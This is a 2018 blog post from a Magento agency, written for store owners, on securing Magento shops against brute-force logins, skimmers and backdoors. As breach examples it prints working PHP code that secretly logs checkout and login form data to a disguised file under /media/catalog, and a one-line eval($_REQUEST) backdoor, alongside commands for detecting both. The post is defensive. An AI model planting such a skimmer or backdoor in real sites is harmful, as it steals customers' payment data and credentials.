How To Secure Your Magento Store

How do you secure your Magento store? It's not just one thing. It's dozens of things. This post catalogs a set of actions you can take that will enable you to prevent the most common attacks on Magento sites, or detect it quickly if one succeeds.

There are a lot of blog posts about Magento security. Most of them detail a new attack from a technical perspective. Some, but not all, also explain what could be done to thwart the attack. But often the greatest risks aren't from a particular attack, but a combination of several attacks, like this:

  1. An account with a weak password is brute forced.
  2. The backend admin URL was exposed, so the hackers get it and log in.
  3. Then they edit design configuration to insert a Javascript credit card and password skimmer. That reveals other admin accounts, one of which uses the same credentials for SSH login.
  4. With shell access, the database and all files are exposed. More backdoors are installed, including code to reinfect the site if existing malware is removed.
  5. ...and on and on it goes...

Here's my attempt to combine what I've seen from a number of successful Magento store hacks into some recommendations for merchants that would help protect from a range of attacks that are often used in combination. I'm not going to go deeply into examples of attacks. I'm going to try to keep this post to actionable recommendations that will help you avoid being hacked.

Every item in this list is something that, if implemented, would have prevented or reduced the damage from a successful attack on a Magento site that I've personally seen. None of this is theoretical over-paranoia. If Magento merchants I've worked with had already read this blog post and implemented these interventions, none of them would have been hacked. I do hope it gets you to think about possible avenues of attack, and that it makes you more cautious about cutting corners when it comes to security.

Note that there are Magento 1 and Magento 2 examples here, but nearly every piece of advice in this post applies to both platforms.

Mind Your Passwords

Magento stores are often compromised by brute-force password cracking. Even with rate limiters in place, attackers can easily try common username and password combinations across thousands of sites at once. In addition, since there have been so many hacked websites the past few years and just about everyone reuses passwords across multiple sites, many Magento admin accounts have already been compromised. It's just a matter of time until someone figures out which hacked accounts are using the same credentials on your Magento store.

Another key risk is that when administrators create accounts for new employees who need to access your Magento backend, they are often just quickly creating a password that will be emailed to the new user. There may be an assumption the initial default password will be changed. But it often isn't. When working with one new client, they created a username of "david" for me, and they simply used their domain name as the password. I didn't have a need to log in to the site for weeks, and during that period of time, I didn't realize how poor the password was, or change it.

  • Never assign "bad" passwords. Assume that any password could persist for years. Don't make passwords easy to remember. If users can't remember them, consider tools like Chrome autofill, 1password, or LastPass.

  • Assign long, random passwords to new users. Consider changing them from time to time to a new long, random password.

  • Distribute passwords to new users in a secure manner. Never send passwords in email. If you need to get a password to a remote person, at least consider something more secure than email such as a Google Doc, and remove it after the transfer is complete.

  • In order to prevent users from choosing a less-secure password, consider restricting their admin role so they do not have access to the ability to change their own password. Users typically change difficult passwords to passwords they have reused on other sites, and this may be the only way to prevent that.

Follow the Principle of Least Privilege

Assume that accounts will be compromised at some point in time. It happens all the time. Don't think you're special. Given this, what should you do? Follow the principle of least privilege. People should not have access to things unless they are required for their job role. This can be particularly troublesome when it comes to managers, who often want complete access to systems "just in case". That is a misguided idea, since that exposes the site to increased risks if those accounts are compromised.

Really think deeply about what access is truly necessary for each role. You might think, for example, that access to modifying theme headers and footers should be given to designers, or people in the Marketing Department who are working on content. Think again. Most credit card skimming software is written in Javascript and inserted in page headers and footers through the admin screens that allow modifying design elements of the site. This access needs to be tightly controlled.

  • Assign each admin account the minimum permissions necessary for them to do their job. Check out our blog post Magento 2 Admin Permission Reference for a handy guide to which role permissions map to which backend admin screens.

  • Only give access to change design elements and headers and footers to those who truly need it, and only when they need it. If an account is compromised, don't make it easy for hackers to install credit card skimming software.

  • Changes to site configuration aren't made every day. Don't give full access to editing site configuration across the board. Definitely don't give it to managers who just want full access. There is too much risk.

Lock Down Your Admin URL

Magento has a mechanism for obfuscating the backend admin URL to make it harder for hackers to crack passwords by brute force. I'm amazed at how many sites don't use it. Of those that do use this mechanism, many use a very obvious URL, including their company name or initials coupled with "admin" or "manage". It is trivial to write a script to try obvious combinations of simple elements and check thousands of Magento sites to quickly make lists of their backend URLs. There have also been multiple bugs over time that leaked this information.

  • Consider changing your backend URL from time to time. If you have had the same backend URL for several years, assume that it has been leaked at this point.

  • Check your web server logs to easily determine if it's known and if people are attempting brute force hacking. Automate this in a nightly cron script. Whenever new IP addresses hit your backend URL, make sure someone is notified right away.

  • If you can, lock down access to your admin URLs, or at least the login URL. Require a VPN connection first. Or restrict it to only being accessible from known IP addresses.

  • Choose a truly unique backend URL that is not obvious. Do not base it on your company name or any terms like "admin".

  • Be careful of agencies that follow patterns with their clients. Agencies frequently assign idiotic backend URLs, or follow patterns that are easy to determine. Once a hacker determines this pattern, it becomes possible to identify other backend URLs of the agency's other clients. If your agency does this, give them some feedback. Hint: just about every agency does this!

Lock Down Your API

There are some key differences between the API access in Magento 1 and Magento 2. In Magento 1, it is possible to completely block API access using web server directives. In Magento 2, however, some frontend code interacts with the API, so you cannot just block it by default. That would prevent users from checking out. I've made that mistake.

However, you really want to disable as much API access as you can, to reduce your attack surface. What you're able to do here will depend on integrations you may have, so I can't give detailed specifics. But I will give some principles.

  • If you're on Magento 1 and there are no external services that need to connect to your API, block the URLs at the web server level.

  • If you're on Magento 2, block the login API endpoints (like integration/admin/token for REST) to prevent brute force cracking attempts, since that is not required by any frontend code.

  • Restrict API access to blocked resources by IP address, if external access is required. Legitimate remote access to your API should be coming from static IP addresses or known ranges.

  • Restrict the access of any accounts that access your API to only the permissions necessary for the specific API calls they need. See our blog post Magento 2 API Permission Reference for a quick reference on what permissions map to which API endpoints.

Consider Two-Factor Authentication

There are many options for turning on 2FA for backend admin logins. Note that not all of these systems play well with certain scenarios. For example, you could have a utility account for API access, and a 2FA system could prevent it from logging in via API. So you'll have to test this, and potentially turn off two-factor authentication on accounts like this. I've had various issues with various extensions over time.

Share Access Very Carefully

Many merchants give out full admin accounts to all sorts of third parties without much scrutiny. This is very bad. In one recent hack that I am aware of, this was the attack vector. A full admin account was shared with an extension provider. The next day, that account had been used to install a credit card skimmer on the site.

Was the password intercepted since it was transmitted insecurely? Was it stored insecurely by the extension vendor? Was the extension vendor hacked? Was there a shady employee at the extension vendor? We don't know.

What we do know is that too much access was shared, with too little scrutiny of what could go wrong.

  • When sharing access with third parties, particularly those you don't have a prior relationship with, give the least access possible for them to do their job, and remove it as soon as the job is done. Follow the other recommendations about secure transmission of passwords. If you've locked down your backend URL by IP address, only open it up for needed IP addresses, and don't forget to remove them after the work is complete.

Remove Unused Accounts and Permissions

Old accounts can be a huge source of risk. If you're not paying attention, you can slowly build up quite a few of them over time, particularly at larger firms with more people involved in a site. Abandoned accounts are a clear sign that nobody is scrutinizing access and security issues regularly.

Similarly, active accounts can build up permissions as job roles change for key people. Perhaps that marketing employee used to work on content. But now they're just doing product administration and inventory updates. Now they've got more access than they need and you're violating the principle of least privilege. Over time, risk increases.

  • Audit all accounts on a regular basis. Remove any accounts that aren't needed.

  • Audit the permissions on every account on a regular basis. Trim role permissions, so active users only have what they need to perform their current jobs.

Store A Lot of Backups

Backups are critical. But not just for recovering from a current issue. One merchant I worked with on a massive breach had no idea when the initial break-in occurred. There were backups going back only a few days. There was no way to actually identify how long the site had been hacked, and pinpoint how it had happened. This complicated recovery efforts and meant they had no idea at all how many customer credit cards had been compromised. Not a happy place to be.

  • Keep a lot of backups. Far more than you think you need. Keep backups going back months or years. Storage is cheap. Don’t skimp.

  • Be sure to include web server access logs, web server configuration, crontab entries, and anything else related to your Magento installation. Simply backing up the Magento filesystem hierarchy and database is not enough.

Run Frequent Security Scans

Security scans can be a great early warning system. Not only can they detect changes on your site. They're also frequently updated as new attacks occur on other sites. By using them regularly, you're able to benefit from the wisdom gained in other breaches. Most sites that I've been involved with that have been hacked had vulnerabilities that were known, and could have been easily patched if anyone had been paying attention.

  • Go to MageReport.com and ensure your site has zero vulnerabilities. Set up a process to do this regularly.

  • Start using gwillem's excellent Magento Malware Scanner. You can run it manually. You can also automate it to run regularly. Some hosting providers have this built in to their service. But generic hosting platforms that aren't specialized on Magento frequently don't.

Prevent and Detect Javascript Changes

Most (but not all) credit card skimmers are written in Javascript. Even though data is passed securely from a user's computer to your Magento site via HTTPS, when they input their credit card into a form, that is unencrypted data in their web browser. A few lines of Javascript code can copy these form fields and send them off to anywhere in the world. Because of this, it's extremely important to limit the attack surface of systems that can be used to deliver Javascript to the user's web browser. These attacks are VERY common in 2018. It's also important to note that these Javascript skimmers can actually copy any form field, including user login fields, and even backend admin logins. If you are infected, your site could be delivering your employee and user passwords to hackers who can then see where those users reused the same passwords and cause havoc.

  • As mentioned in the section on permissions, give permissions to change any header or footer HTML fields carefully, as these are common ways of injecting Javascript skimmers.

  • Write some SQL queries or use n98_magerun to quickly dump out the Magento database fields that could include arbitrary Javascript. Automate this to run in a cron job and compare it to yesterday's results. If there are any changes, make sure someone investigates immediately.

  • Write a script to check frontend theme files in your Magento installation for any changes, compared to the previous day. Notify someone on any changes.

  • Lock down any other systems that could be used to inject Javascript. Many companies use platforms like Google Tag Manager to make it easy for digital marketers to configure marketing tags without developer intervention. This is a major risk!

Lock Down SSH Access

SSH and SCP access to the server that hosts your Magento site is very common. There are a lot of weaknesses here. Frequently a single account is shared by multiple developers. Logins are usually not locked down by IP, so once credentials are compromised, it's easy for a Russian hacker to do anything they want on the site. Administrators might reuse the same passwords for their Magento backend admin login and their SSH account, so once one is cracked, the attackers can access both.

  • Don't share SSH accounts between lots of people.

  • Don't use the same password for your SSH account that you do for your Magento admin login.

  • Consider setting up SSH authentication via keys rather than passwords.

  • Restrict access to SSH logins by static IP addresses and address ranges.

  • Seriously, don't reuse passwords!!!

Consider Auditing Outbound Connections

A Magento site needs to be available to the public, for the most part. You can restrict inbound connections to sensitive areas, such as your SSH login, your admin backend, and API logins. But just about everything else has to allow hits from anywhere. But that is not true of outbound connections, and you may want to consider setting up some logging as an early warning system.

If your system has a Javascript skimmer installed, logging outbound connections from your server won't do anything for you. The outbound connection that sends the credit card to the criminals is actually initiated inside the user's browser. But if you have any compromised PHP code on your site, which is another way people steal credit cards, then the outbound connection will come from the server.

Magento servers don't make a lot of outbound connections by default. Think about it. Perhaps you send information to a credit card processor. Or you query some other services for shipping quotes. The thing is, these are often going to be consistent IP addresses and ranges. You can easily determine what they are and then watch for new IP addresses to show up that weren’t there previously. Sometimes it will just be a vendor moving some of their server architecture around. But this could also give you an early warning of any data breaches on your web server.

  • Consider logging outbound connections from the web server using Linux kernel tools. Compare outbound connections logged against a list of known good IP addresses and when anything new shows up, make sure you know what’s going on.

Check /media for Non-Media Files

While we’re on the topic of PHP code on the server sending credit card and password information offsite, consider this situation. Hackers don’t actually need to send the data anywhere. They can actually just log it to a file anywhere on your site, and then download it from anywhere in the world, whenever they want. Here’s a recent breach from a merchant I worked with. I found this code pasted into app/Mage.php on a Magento 1 site:

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
 $log_dir = $_SERVER['DOCUMENT_ROOT'] .'/media/catalog/product/y/s/';
 $log_name = "ys.tgz";
 if (!file_exists($log_dir)) @mkdir( $log_dir, 0777, true );
$ARINFO = $_POST;
$ARINFO['date'] = $_SERVER['REQUEST_TIME'];
$ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
$ARINFO['url'] = $_SERVER['REQUEST_URI'];
if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
if(strpos($_SERVER['REQUEST_URI'], 'checkout'))
{
       if(@filesize($log_dir . $log_name)>1024*1024)
       { @rename($log_dir.$log_name, $log_dir.time().'_'.$log_name);
       }
       $log_entry = serialize($ARINFO) . "\r\n\r\n";
        $fp=fopen( $log_dir . $log_name, 'a' );
         fputs($fp, $log_entry);
fclose($fp); }
if(isset($_POST['login']))
{ $ad_name = "ysa.tgz";
       $log_entry = serialize($ARINFO) . "\r\n";
        $fp=fopen( $log_dir . $ad_name, 'a' );
         fputs($fp, $log_entry);
fclose($fp); }
}

That code is going to grab every POST request (all checkouts, and login form fields) and save the data in a log file under the /media/catalog directory, where we’d normally just see images. This isn’t the first time I’ve seen something like this. In this case, the file is a text file but with a .tgz extension, which is a bit sloppy. But it could easily be a .jpg extension and even harder to detect.

Something like this can be detected with a simple cron job to check files under /media/catalog for anything other than a directory, or an image file.

for i in `find media/catalog` ; do file $i ; done |egrep -v 'JPEG|PNG|: directory'

media/catalog/product/y/s/1527115478_ys.tgz: ASCII text, with very long lines, with CRLF line terminators
media/catalog/product/y/s/1528148290_ys.tgz: UTF-8 Unicode text, with very longlines, with CRLF line terminators
media/catalog/product/y/s/1528084981_ys.tgz: ASCII text, with very long lines, with CRLF, LF line terminators
…

You could certainly get more sophisticated. So can the hackers. It’s trivial to craft a .jpg file that the UNIX file command would think is a valid JPG, but that actually isn’t. But a check as simple as this could be an effective early warning system.

  • Consider automating a check for non-image and non-directory files in your /media/catalog or /pub/media/catalog directories.

Compare All Core Files to Virgin Codebase

Everyone knows you shouldn’t edit core files in Magento. However, many attackers will modify core files, as we saw in the previous example. These modifications are extremely easy to pinpoint. All you have to do is keep a virgin copy of the Magento version you’re running, and run a cron job to compare all the core files using a tool like diff. There should never be any differences.

  • Run a nightly diff between a virgin Magento fileset and your installation. Pay close attention to any added files that shouldn’t be there, or modified files.

Audit For Strange Code

On some hacked sites, I’ve found PHP code in interesting places. Sometimes hackers create official-sounding directories and put PHP files with backdoors in them. Or they’ll add an additional file that logs credit cards in a core directory. Most commonly, if they have enough access to insert files, they’ll scatter these files all throughout the filesystem. You need to know when this happens, if it ever happens to you, and quickly identify ALL of these files. If you have six backdoors on your site and you only find and remove five of them, your site is still hacked.

  • Create a master list of all legitimate PHP files on your site, and run a scan nightly to determine if any new PHP files show up. Whenever you update your site, this list might change, so update it.

Install Security Patches Fast

When Magento publishes a security patch, the whole world knows about whatever problem it fixes. This is open source! It comes with pros and cons. There is no way to patch a security hole and still keep it hidden. This means that within hours of a new patch being released, hackers are exploiting that security issue on live sites. Every time.

But it’s also hard to immediately patch a live Magento site. If you’re in a busy season, or a busy time of week even, the costs of taking the site down to install a patch might be higher than the risk of not patching for another day or another week. There’s also risk in patching. Perhaps the patch introduces a new bug.

Regardless, you need to be on top of these security issues as soon as you become aware of them. Do not depend on your development agency to be on top of this! Your agency has a lot of other clients, and other deadlines. Nobody cares about your site as much as you do.

Over the past few years, most of the sites I’ve been involved with that were breached were guilty of being rather far behind on their patches. I’m nervous about waiting a few days to install a patch when there’s a real security issue. But in fact, most sites breached because of missing patches were a year or more out of date, not a few days.

  • Read the patch release notes line by line. See what the risk is. Sometimes patches are just for theoretical future problems and there are no current exploits.

  • Determine if you can mitigate the risk by other means. Many patches are for security issues that aren’t a big risk for you if you’ve already blocked certain URLs by IP address, for example. Of you can mitigate the risk by doing that now.

  • Maybe wait a day or two to let other people debug the new code on their sites first, but get that patch installed quickly.

Watch for Changed Files

There are many files in the Magento system that change all the time. Your marketing department uploads new images for products. User session data changes constantly. Caches are always being updated and refreshed. But many other areas in Magento should only change when you upgrade the system.

  • Make a master list of all directories in the hierarchy that should only change when the system is upgraded. Generate a list of all files in those directories, and a hash for the contents of each. Create a nightly cron job to check for any changed or added files in those directories, and immediately audit those.

  • Do not rely on timestamps to determine if files have been changed. This is trivial to manipulate.

Watch for Changed MySQL Triggers

I recently worked with a client that kept removing a Javascript credit card skimmer, and it would re-appear soon after. They were confused for a while. Then they found this excellent blog post that revealed what was going on: Self-Healing Malware Discovered

Basically, hackers set it up so every time a user placed a new order, a MySQL trigger would re-infect the site with a Javascript credit card skimmer, if it had been removed. This is an excellent example of something we can detect automatically and easily. But if you didn’t have something set up to detect it in advance, it could operate for some period of time without your knowledge and cost your business tremendously.

  • Set up a cron job to dump MySQL triggers, and compare them to a previous dump of known good triggers. If there are any changes, investigate immediately.

Monitor for PHP eval() Calls

Some languages, like Javascript and PHP, have an eval() function that can accept any text, and will execute that text as code. This system frequently used by attackers. If they can install some PHP code on the site through some other hack, they can then pass any arbitrary code to their original breach, to do anything they want on the server after that.

Here’s an example line of code that I’ve run across several times now, at the top of Magento core files, just under the comment block:

error_reporting(0); eval($_REQUEST[r]); error_reporting(E_ALL);

It’s not completely easy to detect every possible variant of these attacks. You can’t just scan PHP files for “eval” with perfect success. There are many places that text appears. Code or comments containing “retrieval” includes “eval” as one example. Also, attackers can obfuscate the eval() function call, at least in older PHP versions. But even so, we can set up an early warning system to catch at least some of these attacks.

  • Build a text file of the output of a grep for “eval” across your Magento php files. Set up a cron job to run that again nightly and compare to the previous known-good output. Flag any changes and investigate.

Final Thoughts

Some of these recommendations won’t prevent a breach. They just allow you to detect one early. But I think that ability to detect breaches early is critical. Some new security hole could get discovered tomorrow in Magento, or some extension you have installed, or some external service you use like Google Tag Manager. You can’t control that. But if you’ve done just a bit of work around understanding common attack vectors, and making backups and logging key information in such a way that you can identify that attack immediately, the costs to your business will be as low as they possibly can be. And frankly, that’s the best you can do. So put in a bit of work. Set up a few checks. Sleep a bit better tonight.

Some of the checks I talk about in this post are redundant. For example, checking for changes in core files and checking for any differences in general… Obviously checking for differences in general will detect changes in core files. I’m calling those out as separate checks, however, because they could be implemented in different ways, and there might actually not be complete overlap between them. Double checking a file for changes isn’t going to hurt you. But using a tool like git to check for changes in your installed files, only to realize after a breach that you’ve used .gitignore files to ignore the Magento core...well, that could be a problem, couldn’t it? Similarly, gwillem’s Magento Malware Scanner will find the example PHP eval() code I list. But a generic scan for eval() in PHP files might find something new that the Malware Scanner doesn’t know about yet.

I’m purposefully being vague about the details of implementing these ideas. Every site is different. There are key differences between Magento 1 and Magento 2 sites. Each site is configured and hosted differently, and has different extensions installed. There are differences in API integrations inbound or out. It’s better to think about the principles, consider how they relate to your site, and also think about where your greatest risks lie.

I’ve been working with Magento since 2008. Ten years now. And this year, 2018, I’ve seen far more breaches than ever before. Perhaps some of that is just that I find out about a few more of them. But I don’t think it’s only that. It’s that the platform is mature. And the criminals that prey on it are also mature. Too many merchants don’t take the risks seriously. “We’re too small for anyone to care about hacking us.” That’s naive. Magento is the platform of choice for mid-sized companies globally. Hackers know that the average Magento merchant is a juicy prize. Big enough to make some serious money off of...small enough to often have less sophistication than the Fortune 500 firms. It’s the perfect mark for criminals trying to earn a steady living.

It’s time to up our game, take the risks seriously, and do a better job with security. You’re a few hours away from a more secure site. A few days away from a much more secure site. That is a tiny investment in return for the reduction in risk, particularly when the frequency of successful attacks is rising. How much would it cost your business if a credit card skimmer was installed on your site and you lost every customer credit card entered for a month before detecting the breach? That happens all too frequently. Spend a few hours and reduce the risk that it happens to you.

Disclaimer: Psyberware doesn't specialize in security. We actually specialize in ad management for Magento merchants. If you want to build a great relationship with a group of dedicated people who really understand Magento and how to make your business profitable, get in touch with us.

Previous Post Next Post